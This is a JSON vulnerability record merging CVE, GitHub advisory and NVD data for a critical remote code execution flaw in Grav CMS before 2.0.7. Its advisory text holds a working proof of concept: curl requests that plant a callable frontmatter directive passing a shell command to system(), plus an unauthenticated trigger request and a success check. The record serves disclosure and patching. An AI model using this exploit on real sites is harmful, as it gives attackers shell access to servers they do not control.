{"id":"CVE-2026-65008","aliases":["CVE-2026-65008","GHSA-fj2p-qj2f-74v5"],"related":["CVE-2026-64850"],"kind":"vulnerability","state":"published","title":"Grav before 2.0.7 Remote Code Execution via Blueprint dynamicData","summary":"Grav 2.0.4 (fixed in 2.0.7) contains a remote code execution vulnerability in Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php), which passes a Class::method callable string and its arguments directly to call_user_func_array() without any allowlist. Because the form plugin routes page frontmatter through this path, an authenticated account with the admin.pages (or api.pages.write) permission can plant a malicious callable directive in a page. The command then executes as the web-server user whenever anyone — including an unauthenticated visitor — accesses the page.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Grav 2.0.4 (fixed in 2.0.7) contains a remote code execution vulnerability in Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php), which passes a Class::method callable string and its arguments directly to call_user_func_array() without any allowlist. Because the form plugin routes page frontmatter through this path, an authenticated account with the admin.pages (or api.pages.write) permission can plant a malicious callable directive in a page. The command then executes as the web-server user whenever anyone — including an unauthenticated visitor — accesses the page.","source":"cvelist"},{"lang":"en","text":"### Summary\nAn account with the `admin.pages` permission (or `api.pages.write`) can run shell\ncommands on the server. The command executes whenever anyone — including an\nunauthenticated visitor — opens the page.\n\n### Details\n`Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes\na `Class::method` string and its arguments straight to `call_user_func_array()`\nwith no allowlist. The form plugin runs page frontmatter through this path\n(form/classes/Form.php:432), so a page author controls the input.\n`Grav\\Common\\Utils::arrayFilterRecursive($source,$fn)`\n(system/src/Grav/Common/Utils.php:1169) is a public static that calls\n`$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key\nruns the command.\n\n### PoC\nPlaceholders: `<BASE_URL>` the site; `<SESSION_COOKIE>` an admin session cookie\nfor an account with `admin.pages`; `<ADMIN_NONCE>` the `admin-nonce` on any admin\npage (`window.GravAdmin.config.admin_nonce`).\n\nSave a \"form\" page whose field carries the callable directive:\n\n    curl '<BASE_URL>/admin/pages/rcepoc' \\\n      -H 'Cookie: <SESSION_COOKIE>' \\\n      --data-urlencode 'task=save' \\\n      --data-urlencode 'admin-nonce=<ADMIN_NONCE>' \\\n      --data-urlencode 'data[folder]=rcepoc' \\\n      --data-urlencode 'data[name]=form' \\\n      --data-urlencode 'data[title]=x' \\\n      --data-urlencode 'data[content]=hi' \\\n      --data-urlencode \"data[frontmatter]=forms:\n      x:\n        fields:\n          y:\n            type: text\n            data-opts@:\n              - 'Grav\\Common\\Utils::arrayFilterRecursive'\n              - { 'echo GRAV-RCE-OK; id': 'x' }\n              - system\"\n\nTrigger it as an unauthenticated visitor:\n\n    curl '<BASE_URL>/rcepoc'\n\nSuccess check: the GET response body begins with `GRAV-RCE-OK` followed by the\nweb-server user's `id` output (a line starting `uid=...`) — the command ran\nduring the unauthenticated request and its output is reflected in the response.\n\n\n### Impact\nShell command execution as the web-server user, triggered by any visit to the\npage, plantable by any holder of `admin.pages` or `api.pages.write`.\n\nTrust boundary: crossed. `admin.pages` (or `api.pages.write`) grants page\nediting, not code execution; the holder plants the payload and the code runs at\nrequest time on any later view of the page.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Grav 2.0.4 (corregido en 2.0.7) contiene una vulnerabilidad de ejecución remota de código en Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php), que pasa una cadena invocable Class::method y sus argumentos directamente a call_user_func_array() sin ninguna lista de permitidos. Debido a que el plugin de formulario enruta el frontmatter de la página a través de esta ruta, una cuenta autenticada con el permiso admin.pages (o api.pages.write) puede insertar una directiva invocable maliciosa en una página. El comando se ejecuta entonces como el usuario del servidor web cada vez que alguien -incluido un visitante no autenticado- accede a la página.","source":"nvd"}],"published":"2026-07-21T11:39:57.075Z","modified":"2026-10-24T20:10:00.137Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"}],"cwes":["CWE-94"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"2.0.7","status":"affected"},{"type":"semver","version":"2.0.7","status":"unaffected"}],"vendor":"getgrav","product":"grav","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.0.7"}],"ecosystem":"Packagist","package":"getgrav/grav","purl":"pkg:composer/getgrav/grav","source":"ghsa"}],"references":[{"url":"https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5","tags":["exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.vulncheck.com/advisories/grav-before-remote-code-execution-via-blueprint-dynamicdata","tags":["third-party-advisory"],"sources":["cvelist","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-64850","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/getgrav/grav/commit/acffa34cbb0787fee87c609e0d6289e904fee33c","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/getgrav/grav","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/getgrav/grav/releases/tag/2.0.7","tags":["web"],"sources":["ghsa"]}],"credits":["YuvalMil","MatiHub25","LeonKaya"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-07-22T14:20:32.223Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-65008","url":"https://www.cve.org/CVERecord?id=CVE-2026-65008","licence":"CVE Terms of Use","modified":"2026-10-08T15:23:53.469Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-fj2p-qj2f-74v5","url":"https://github.com/advisories/GHSA-fj2p-qj2f-74v5","licence":"CC-BY-4.0","modified":"2026-09-02T15:00:11.115Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-65008","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65008","licence":"Public domain","modified":"2026-10-24T20:10:00.137Z"}],"updatedAt":"2026-11-25T22:59:29.313Z","epss":{"score":0.01968,"percentile":0.80998,"date":"2026-12-01T12:00:22.000Z"}}